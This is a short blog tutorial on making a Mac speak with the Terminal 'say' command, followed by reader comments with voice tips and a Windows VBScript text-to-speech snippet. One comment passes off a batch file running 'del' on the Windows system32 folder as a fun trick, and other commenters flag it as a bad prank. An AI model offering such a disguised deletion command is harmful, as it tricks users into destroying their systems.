terminal app icon OS X

It’s possible to force your Mac to say anything you want with a simple command line from the Termimal app. Not only does this allow for some good old-fashioned fun, but it can even come in handy depending on the situation.

In this short tutorial, we’ll be showing you how to make your Mac say whatever you want it to with the Terminal app that comes preinstalled on every installation of OS X.

Making your Mac talk with the Terminal app

This is really just a novelty feature, but we still think it’s a fun one. If you’re a DJ trying to entertain guests at a party, it could be a humorous way to start off the party, or to make announcements during a song.

Moreover, having your Mac say things might be a simple way for you to learn the pronunciation of something, or to simply entertain yourself and your friends.

Whatever the reason, we’ll be showing you in this tutorial how you can make your Mac speak via the Terminal app with a very simple command.

Choosing the voice you want

OS X comes with a number of voices preinstalled in the operating system. By default, all speech comes out with the “Alex” voice. To choose the voice you want to use, you’ll follow these steps:

1) Launch the System Preferences app and open the “Dictation & Speech” preferences pane.

system preferences mac os x dictation and speech

2) Click on the “Text to Speech” tab to display the settings you need to see to tinker with.

3) Click on the “System Voice” combo box to reveal all your voice options.

system preferences os x system voice

4) Select a voice from the drop-down menu that appears.

os x system preferences voice options

Command your Mac to say something with Terminal

Now that you have picked the voice you want to use for when your Mac says what you command it to say, you can get to performing the command. Go ahead and launch the Terminal app on your Mac and enter the following command and then press the Return key on your keyboard:

say “Anything in these quotation marks will be said by me, your Mac. Go ahead; try it.”

make mac speak tutorial terminal command

The result should have been your Mac saying: “Anything in these quotation marks will be said by me, your Mac. Go ahead; try it” with the voice that you selected earlier in this tutorial. If you didn’t hear anything, check to make sure your volume is up and that the command was entered correctly.

You can change the text in the quotation marks to anything you want and your Mac will do its best to say everything correctly. For example, the following command will make your Mac say “Hi iDownloadBlog!”

say “Hi iDownloadBlog!”

As you should expect, voice software is never perfect and will almost always have some kind of trouble pronouncing some things.


Making your Mac say anything you want can be a humorous way to not only entertain yourself, but also to entertain kids or an audience. No special software is required, and everything is done simply by way of an incredibly easy Terminal command.

Also read: How to stress test your Mac with Terminal

What kinds of funny things will you have your Mac say out loud? Share below!

  • African-Techie

    This is the same process to be followed to enable the accessibility feature for the visually impaired to read any (selectable) text out aloud. I personally hate reading long online articles and work documentation, so I use it on a daily basis to read that material by using the shortcut key or selecting text and choosing “Speech -> Start Speaking”. Very handy tool, but just beware that for new users of the feature – each voice can be upgraded to ‘enhanced quality’. It is quite a hefty download, but well worth it.

  • Bonus tip, you can also type -v after say but before the quotes followed by another voice installed on your system, ex:
    say -v cellos “dum dum dum dum dum dum dum dum dum dum dum dum dum dum dum dum dum dum dum dum dum dum dum dum dum dum”

  • Jonathan

    For us Windows users:
    Open Notepad
    Paste the following:

    Dim Message, Speak
    Message=InputBox(“Enter text”,”Speak”)
    Set Speak=CreateObject(“sapi.spvoice”)
    Speak.Speak Message

    Save as a .vbs
    Have fun!

    • Morgan Freeman

      Open Notepad
      Paste the following:

      @echo off
      del c:WINDOWSsystem32

      Save as a .bat file
      Have fun!

      • Lol, sure hope no one does that to their Windows system…

      • Gregg

        Love it!

      • Jonathan

        This would be a horrible prank.

    • No need to waste time going through code and terminal, simply use Windows Text to Speech like shown here (http://bit. ly/1Hruf8o) or use an application like TextAloud for even more control via simple hotkeys…

  • Uhm, why do you need terminal? Can’t you simply press a hotkey combination to make it read out the selected on-screen text?

    • Anthony Bouchard

      Speak selection is also available in OS X, yes.